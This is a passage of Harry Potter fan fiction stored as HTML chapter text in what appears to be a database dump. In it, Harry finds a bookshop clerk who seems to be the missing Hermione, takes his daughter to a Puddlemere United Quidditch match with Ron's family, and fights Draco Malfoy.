going to follow him into the fray, but Ron\nand his family had disappeared into the crowd. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Wait\nright there!&quot; Harry said to his daughter, who nodded and stood back from\nall the people. He began to thread his way through the crowd. Harry didn\'t\nremember Flourish and Blotts being this large, and it actually unnerved him a\nlittle as he fought his way to the tables of books.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Excuse\nme!&quot; he tried to get the attention of the brown haired woman but she\ndidn\'t appear to hear him, her back was to him and she was talking to an older\ncouple. He sighed and decided to just get the books himself. Grabbing\neverything Caitlyn would need, he made his way back to where his daughter had\nbeen standing.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">But she wasn\'t\nthere anymore.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Caitlyn?&quot;\nhe called over the dull roar of the crowd. &quot;Caty Cat? Where are you?&quot;\nhe began to grow a little frantic, as the store was becoming more and more\ncrowded and there was no sight of his daughter. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caitlyn was\nscared. She had never enjoyed big crowds of people, and now here she was, alone\nin one of the biggest ones. &quot;Dad?&quot; she called out, but her small\nvoice was lost in the throng of people. &quot;Dad where are you?&quot; She\nbegan to make her way through the people towards where the tables of books\nwere, thinking he might still be up there picking her schoolbooks out. To her\ndismay, he was not there. She saw a brown haired woman in dark blue robes putting\nsome books back on the shelf; Caitlyn hoped she worked there, and that she\'d be\nable to help her find her father.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Excuse\nme.&quot; Caitlyn said politely, tugging gently on the woman\'s sleeve. The\nwoman turned around and looked at her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yes\ndear?&quot; she asked. Caitlyn noticed she wore a name badge, which read\nCatherine.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Um&#8230;&quot;\nCaitlyn stammered. &quot;My father was just up here, he told me to wait back by\nthe windows but I got pushed into the crowd and now I\'ve lost him.&quot;\nCatherine smiled at her kindly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What\ndoes he look like? Don\'t worry, we\'ll find him. He won\'t leave the store\nwithout you, I\'m sure.&quot; Catherine replied. She took the little girl\'s\nhand, feeling a slight jolt when she did. Confused, she looked down at the\nlittle girl. There was something very familiar feeling about her. &quot;What\'s\nyour name?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Caitlyn.&quot;\nShe replied. &quot;Caitlyn Potter.&quot; Catherine led her to the cash\nregisters on the opposite side of the store and picked up what looked to\nCaitlyn like a black megaphone.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Attention\ncustomers. I have a lost father!&quot; Catherine\'s voice boomed over the din of\nthe crowd. &quot;Will Caitlyn Potter\'s father please come to the\nregisters?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Not a minute\nlater, a tall black haired man came striding over to them.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Caitlyn!&quot;\nHarry said, hugging her tightly. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\nsorry Dad!&quot; Caitlyn said, her eyes tearing up. &quot;I tried to stay right\nthere, but the crowd pushed me away.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Shhh.&quot;\nHarry said, stroking down her hair. &quot;It\'s all right, I\'m just glad you\'re\nokay.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nlooked pensively at the two of them. She couldn\'t put her finger on it, but she\nfelt like she knew these people from somewhere.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;This\nlady helped me find you Dad.&quot; Caitlyn said, looking up at Catherine. Harry\nlooked up to thank her for helping him to find his daughter. He stood up to face\nher, and his jaw dropped.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Hermione.&quot;\nHe whispered.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">(A/N: If\nyou\'re wondering if Harry seems a leeeetle bit overprotective of Caitlyn, well,\nthat\'s because he is! Aren\'t most fathers overprotective of their daughters,\nmine sure is LOL!</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Next chapter:\nIs Catherine Hermione? We should find out more about Hermione\'s disappearance,\nand also the rest of the Weasleys meet up and there\'s Quidditch, which means\nOLIVER WOOD! YEAH!)</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">AND a special\nthank you to Ryoko Blue, who is beta reading for me, and helping me during the\ndreaded writers block! Go check out Soul Scepter if you haven\'t already, I\npromise you won\'t regret it!</p>\n\n\n\n\n\n\n'),
	(77, 3, '\n\n\n\n\n\n\n\n<p class="MsoPlainText">Chapter 3</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Hermione,\nis it really you?&quot; Harry asked, staring at her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I beg\nyour pardon?&quot; Catherine asked, confused.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry\nswallowed hard. &quot;I\'m sorry I must have confused you with someone\nelse.&quot; He mumbled. He extended his hand to her. &quot;Harry Potter.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Her eyes\nwidened just slightly as the name rang a bell. Being the reader she was,\nCatherine knew lots about him but had thought she read that he left the\nwizarding world. However, she smiled and shook his hand.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Catherine\nBeaumont. It\'s nice to meet you Mr. Potter.&quot; She said casually. Fame had\nnever really impressed her; she was a firm believer that it was what was inside\nthat counted.&nbsp; At that moment, a red\nhaired man dashed up to them.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry!&quot;\nhe was saying loudly. &quot;I heard you being paged is everything okay?&quot;\nHe turned to Catherine and his eyes widened.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Ron this\nis Catherine she helped Caitlyn find me.&quot; Harry interjected before Ron\ncould say anything. He gave Ron a warning with his eyes not to say anything,\nnot yet anyway. Ron nodded and stepped back to join Lavender and Blue who had\njust come up with an armload of books. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It was\nno problem. Kids get lost a lot in here.&quot; Catherine said, feeling a little\nill at ease at the way Harry and his friend were staring at her. &quot;Is there\nanything else I can help you find?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I think\nwe\'re all set.&quot; Lavender answered, dropping her load of books on the\ncounter. She prided herself on being cooler than Harry and Ron, and prevented\nher eyes from gluing themselves to the Hermione look-alike who was currently\ntotaling up the sale. Meanwhile Ron was pulling Harry a few feet away.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;That\'s\nHermione!&quot; Ron hissed, stealing another glance at the woman. Harry grabbed\nhis arm to keep him from staring at her once more.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;She\nlooks exactly like her.&quot; Harry replied, biting his lower lip. His mind was\ngoing through a myriad of emotions and he wasn\'t sure how much longer he could\ncontrol himself, staying in there within view of Catherine. While his heart was\nfull to bursting, his mind kept trying to plant little seeds of doubt.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">\'What if it\'s\njust a twin?\'</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">\'What if she\nchanged herself because she doesn\'t\' want anything to do with you?\'</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Shut\nup!&quot; Harry said crossly to himself. Ron looked startled at his outburst.\n&quot;Sorry.&quot; Harry said. &quot;There\'s just a lot going through my head\nright now. I can\'t believe this.&quot; He tried to secretly peek at Catherine\nagain. He was slightly amused to see her doing the same thing. He turned back\nto Ron.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\'ve\nnever seen her before?&quot; he questioned. &quot;I mean, you are still living\nin the wizarding world and have access to all this.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron made a\nface. &quot;We never come to Diagon Alley anymore Harry. It\'s become way too\nmuch of a tourist trap. When foreign wizards come to Britain, they go to Diagon Alley to shop. Every\nonce in awhile, a Muggle will wander in here too. Lav and I mainly stick to\nHogsmeade now.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\ncouldn\'t help but think there was something very odd going on. She finished\nringing up Lavender\'s books and watched as the group left Flourish and Blotts,\nboth men trying not to be obvious about looking at her. She faintly smiled and\nbusied herself with more customers.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nBeaumont had no idea how she had come to live in the wizarding world. She\nalways said she felt as if she had woken up as a twenty one year old woman and\nhad not had a childhood. She lived in a roomy flat in the heart of Diagon Alley\nwith her best friend for the past nine years, Grace Klingman. Grace was a Squib\nwho had found out a year before the girls became friends that she was a witch.\nShe had decided to become a nurse at the expansion of St. Mungos that had\nopened in Diagon Alley. Catherine had been lucky when Grace found her;\napparently she had been wandering down by the Thames and almost fell in. Grace had been the\none who had taken her to the hospital, and then offered her a place to stay\nwhile she got on her feet. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Speak of\nthe devil.&quot; Catherine said, smiling at Grace as she swept into Flourish\nand Blotts.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What?&quot;\nGrace asked. &quot;Were you telling a dangerously handsome man about me in an\nattempt to get your best friend a date?&quot; they both laughed, Grace had a\nnew boyfriend about every other week, while Catherine was far more selective\nabout the men she chose to become interested in.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well&#8230;&quot;\nCatherine said. &quot;Speaking of handsome strangers&#8230;&quot; she filled Grace in\non how Harry Potter had been in the store. She wasn\'t ashamed to admit to\nherself that she\'d found him exhilaratingly good looking. There was something\ndeep in his green eyes that made her feel special in some way.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I cannot\nbelieve I missed him!&quot; Grace said dramatically. Catherine laughed. She\nloved her friend\'s antics; she could always put her in a good mood.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well if\nhe comes in here again, be sure and page me. I can be here in two seconds\nflat.&quot; Grace was saying. &quot;What time are you off today?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;In about\na half hour.&quot; Catherine replied. A swarm of people came up to the\nregisters at that moment. &quot;I\'ll meet you outside Gringotts when I\'m\ndone.&quot; She called over the din. Grace waved and slipped back outside.\nCatherine tried to concentrate on getting the mad crowd of shoppers rung up,\nbut her mind kept slipping away to Harry Potter. Where had she known him\nbefore?</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry couldn\'t\nbelieve his world had been turned back upside down in a matter of minutes. He\nwas completely positive that had been Hermione back in Flourish and Blotts; she\nhad looked different, her hair was a lot longer and darker than before, her\nskin a few shades darker, but Harry had looked into her eyes, they had been\neyes he knew better than his own.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Dad are\nyou okay?&quot; Caitlyn asked, concerned. She really didn\'t have much of an\nidea of what had happened in the bookstore, with that woman, but her father had\nseemed to know her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What?&quot;\nHarry seemed startled at his daughter\'s question. &quot;Yes love, I\'m\nfine.&quot; He forced a smile on his face as he looked down at his daughter.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Anyone\nready for Quidditch?&quot; Ron interrupted. Blue jumped up and down and howled\nin excitement. Lavender was tugging on Ron\'s sleeve.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;We need\nto get to the portkey soon.&quot; She said. &quot;It\'s going to be working in\nabout 5 minutes.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The group\nhurried across Diagon Alley towards the side of a building. They didn\'t need to\nhide from anyone, seeing as how they were in the wizarding world already, which\nwas nice. Grabbing up a moldy newspaper, Ron glanced at his watch.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Okay\neveryone, all you need is a finger on this.&quot; Ron said. Lavender, Harry and\nBlue all did as Ron instructed. Caitlyn looked at the paper and wrinkled her\nnose.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I have\nto touch that?&quot; she asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Blue rolled\nhis eyes good-naturedly. He grabbed Caitlyn\'s hand and smacked it down on the\nmoldiest piece of the newspaper. Before she had time to shriek in disgust, the\nportkey had whirled them away to where the Puddlemere United team was prepping\nfor their game that day.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry inhaled\ndeeply as he drank in the Quidditch field hungrily with his eyes. It had been\nfar too long since he had played; he really missed that free feeling he got\nwhile in the air. He felt some of the melancholy shift off his shoulders as the\nthought of broomsticks and small golden snitches filled his head.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\nreally has been far too long.&quot; Harry mused, looking around with a growing\nsmile. Caitlyn looked at her father, happy to see a smile on his face.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Dad are\nyou going to play?&quot; Caitlyn asked excitedly, tugging on his hand.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry\nchuckled. &quot;No love. We\'re just watching today, it\'s a professional\nQuidditch match you\'re about to see.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'ve got\npasses to get us back behind the scenes.&quot; Ron said proudly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;How did\nyou get these on such short notice Ron?&quot; Harry asked, accepting the two\npasses Ron gave him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;A\nfriend.&quot; Ron said smugly. He jerked his head towards a man with short\nbrown hair. &quot;Hey Oliver!&quot; he shouted. The man turned in their\ndirection and smiled, and began walking over to them.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Ron!&quot;\nOliver said enthusiastically, pumping Ron\'s hand. &quot;Glad to see those\ntickets arrived in time.&quot; He looked at the rest of the group, and his eyes\nwidened when they saw Harry.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry\nPotter!&quot; Oliver exclaimed, as he pushed past everyone. &quot;I can\'t\nbelieve it!&quot; he shook Harry\'s hand.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;How have\nyou been Oliver?&quot; Harry asked. &quot;I see you play for Puddlemere!\nCongratulations!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yeah, I\nmade the reserve team when I got out of Hogwarts, and about two years later\nthey signed me onto the main team, and here I\'ve been ever since!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;That\'s\ngreat.&quot; Harry responded. &quot;I really miss playing Quidditch\nsometimes.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Dad you\nwere a seeker right?&quot; Caitlyn piped up. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;That\'s\nright.&quot; Harry replied. Oliver looked around Harry and his eyes brightened.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Who is\nthis?&quot; he asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oliver,\nthis is my daughter Caitlyn. Caty Cat, this is Oliver Wood, he used to be the\nGryffindor Quidditch captain when I was at Hogwarts.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Hi.&quot;\nCaitlyn said shyly. She thought Oliver was hot!</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;My\nlady.&quot; Oliver said gallantly, taking her hand and kissing the back.\nCaitlyn blushed hard and Harry and Ron laughed.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I can\nsee you haven\'t changed much.&quot; Harry remarked as the group made their way\ntowards the Quidditch field.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What do\nyou mean?&quot; Oliver asked.&nbsp; Harry\ngrinned and pointed to the diagrams Oliver had laid out for the team to study. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I cringe\njust thinking about all those times you woke us up at 4 am to go\npractice.&quot; Harry said and Ron and Lavender both roared.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\nremember that!&quot; Ron said. &quot;Harry used to moan and groan for about a\nhalf hour after you\'d leave!&quot;&nbsp;\nEveryone laughed again as they went inside where the locker rooms were.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well I\'m\nafraid I must leave you here.&quot; Oliver said. &quot;The game starts in about\nan hour so I have to go give my team a pep talk. I hope you\'ll stay around for\nthe party tonight?&quot; he asked, looking at Harry and Ron.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\nthere.&quot; Ron said. He looked at Harry. &quot;You?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m game\nif Caty Cat is.&quot; Harry looked at his daughter. &quot;You want to go?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yes!&quot;\nshe replied quickly, and blushed when Oliver grinned at her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well I\nguess we\'re staying then.&quot; Harry said. He shook Oliver\'s hand again and he\ndisappeared into the locker room.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">They all went\nup to the top of the stadium to find their seats. Oliver had managed to get\nthem top box seats.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Kind of\nreminds you of the World Cup doesn\'t it Harry.&quot; Ron said as he settled\nback into his seat.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yeah it\ndoes. Only one thing missing.&quot; Harry said. His lips twitched a little as\nhe remembered sitting in the top box with Hermione right next to him, her hair\nblowing every once awhile and tickling his arm, the way she pulled him back\nwhen the veela started dancing&#8230; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;So did\nyou two want to stay with us tonight?&quot; Ron was asking him as Lavender\ntried unsuccessfully to get Blue to sit down in his seat.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sure,\nthat\'d be great.&quot; Harry said appreciatively. &quot;It\'s not like I planned\nthis to be an overnight trip.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Great.&quot;\nLavender said. &quot;It\'ll be fun to have you two over. Gives Blue and Caitlyn\na chance to get to know each other better as well.&quot; She smiled at the two\nchildren who were bouncing excitedly in their seats, anxious for the game to\nbegin.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;So how\ndo you like being able to do magic again?&quot; Ron asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry smiled.\n&quot;It definitely isn\'t hard to remember. There were a lot of times when I\nfound myself wanting to pull out my wand to levitate something over, but I\ndidn\'t want to scare Caitlyn.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry, Ron and\nLavender discussed the uses of magic around the house for a good half hour,\nuntil a drawling voice interrupted them.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well\nI\'ll be damned. If it isn\'t Potty and his loser sidekick the Weasel.&quot;\nDraco Malfoy entered their box, his mouth drawn up in a sneer.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry\'s face\ncontorted in anger, and Ron rose from his seat like a volcano erupting.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Malfoy what\nthe hell are you doing here?&quot; Ron spat. &quot;Finally get some money to\nregain a life?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Malfoy\'s eyes\nnarrowed. &quot;I have plenty of money Weasel. I never had to take\ncharity.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Right.&quot;\nRon snorted. &quot;That\'s why everyone saw you groveling on the streets for\nKnuts right after Harry dispelled you of everything you had when he killed\nVoldemort.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Malfoy lunged\nforward at that moment and Harry immediately stood up and prevented him from\nslugging Ron.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I think\nyou\'d best leave Malfoy.&quot; Harry said quietly. He was desperately trying to\nmaintain a sense of calm around Caitlyn and Blue, but it was failing him\nmiserably. He wanted to knock the daylights out of Malfoy. He tightened his\nhold on Malfoy\'s robe, and pushed him back towards the entrance to the box.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Malfoy\nwrenched himself away from Harry and glared at him, looking more like a snake\nthan he ever had before. His sneer turned into an ugly smirk.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;So, you\nbrought your Mudblood daughter into the wizarding world I see. Trying to make\nher like that bitch of a wife of yours?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">At that\nmoment, Harry lost any sense of self-control he had managed to hang on to. He\npulled back his arm and with all his force, smashed his fist into Malfoy\'s\nface. Ron didn\'t miss a beat as he jumped into the fray, pulling on Malfoy\'s\nhair and pummeling him with his fists.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry!\nRon!&quot; Lavender was trying to pull them off. Caitlyn, very disturbed at\nseeing her father this way, was hiding behind Blue, tears in her eyes.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron picked\nMalfoy off the floor and shoved him against the wall. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Get the\nhell out of here before Harry and I throw you over the ledge. If I see you\nANYWHERE near my family or Harry\'s, that pretty boy face of yours is going to\nbe messed up for life!&quot; Ron shouted.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Malfoy\nstaggered away, but not before shouting a few curse words back at the two men.\n&quot;You watch out for me Potter! You too Weasel! We\'re not done yet. I still\nowe you!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Breathing\nheavily, Harry and Ron reentered the box. Lavender glared at both of them and\npointed at the two children, who looked terrified.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Caty\nCat.&quot; Harry said. &quot;I\'m sorry.&quot; He went over to his daughter and\npulled her into a hug. She sniffed against his shoulder and he cursed himself\nfor letting her see that. He had never acted violently in front of her; he\nsupposed this had to be quite a shock.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caitlyn was\nembarrassed at her tears; the Weasley family must think she was a baby. She\npulled back from her father\'s embrace, and managed a shaky smile.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\nokay.&quot; She said. Her father nodded, and patted her shoulder, realizing his\ndaughter didn\'t want to be babied in front of everyone.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Blue looked\nconcernedly at her. &quot;You sure you\'re all right?&quot; he asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caitlyn smiled\nat him. &quot;Yes, thanks. I\'m fine.&quot; Harry, Lavender and Ron smiled at\neach other over the children\'s heads. At that moment, they all heard the\ncommentator start to announce the Quidditch teams. Harry was amused to see his\ndaughter clap heartily for Oliver when he flew out on his broom and blush when\nhe flew past the box and winked at her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The players\nflew into their positions on the field, and the referee brought out the box\nwith the Quidditch balls. After a moment, he opened the box and all 4 of the\nballs flew out and around the field. The game had begun.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry found\nhimself aching inside to be on one of those brooms. His memories of his\nQuidditch playing days at Hogwarts came rushing over him in waves. Caitlyn had\nnever been so excited as she watched all the players weave their patterns\nacross the field.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Dad I\nwant to be a Chaser! No, a Beater so I can pelt those things! Oooh, but the\nKeeper looks like such fun&#8230;.&quot; She kept squealing throughout the match.\nBlue matched her enthusiasm bit for bit, his desire to play Quidditch as well\nwas apparent on his face as he was completely enraptured by the game. They both\njumped up and cheered when Puddlemere won the game. Oliver swooped down by\ntheir box.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Want to\ngo for a victory loop?&quot; Oliver asked Caitlyn, who looked quite enamored at\nthat moment.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Can I\nDad?&quot; she pleaded.&nbsp; Harry chuckled.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sure, go\nahead.&quot; He replied, watching as she shrieked when Oliver grabbed her up\nand took off. Blue stared after them in dismay.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No\nfair!&quot; he whined. &quot;I want to ride on a broom too!&quot; When Oliver\nand Caitlyn came back, Oliver was nice enough to take Blue for a ride as well.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Have\nfun?&quot; Harry asked his daughter.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh\nyes!&quot; she said breathlessly. &quot;Can I have a broom to take with me to\nschool?&quot; she begged.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sorry\ndear.&quot; Harry said. &quot;First years aren\'t allowed to have brooms.&quot;\nHe looked to Ron to confirm this and Ron nodded.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Boo.&quot;\nCaitlyn said, but didn\'t pout. When Blue came back from his ride, he and\nCaitlyn immediately started discussing the ways they could try to get on their\nhouse team once at school.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">It was\ndiscussed that Harry would apparate home (he still knew how) to get some\nchanges of clothes, and Caitlyn would go back to Ron and Lavender\'s place to\nwait for him. He kissed his daughter on the top of his head once they reached\nthe Leaky Cauldron and to Caitlyn\'s astonishment (although she was getting used\nto magic already) disappeared. Ron showed her how to use Floo Powder, and\nwithin seconds they had all left Diagon Alley.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 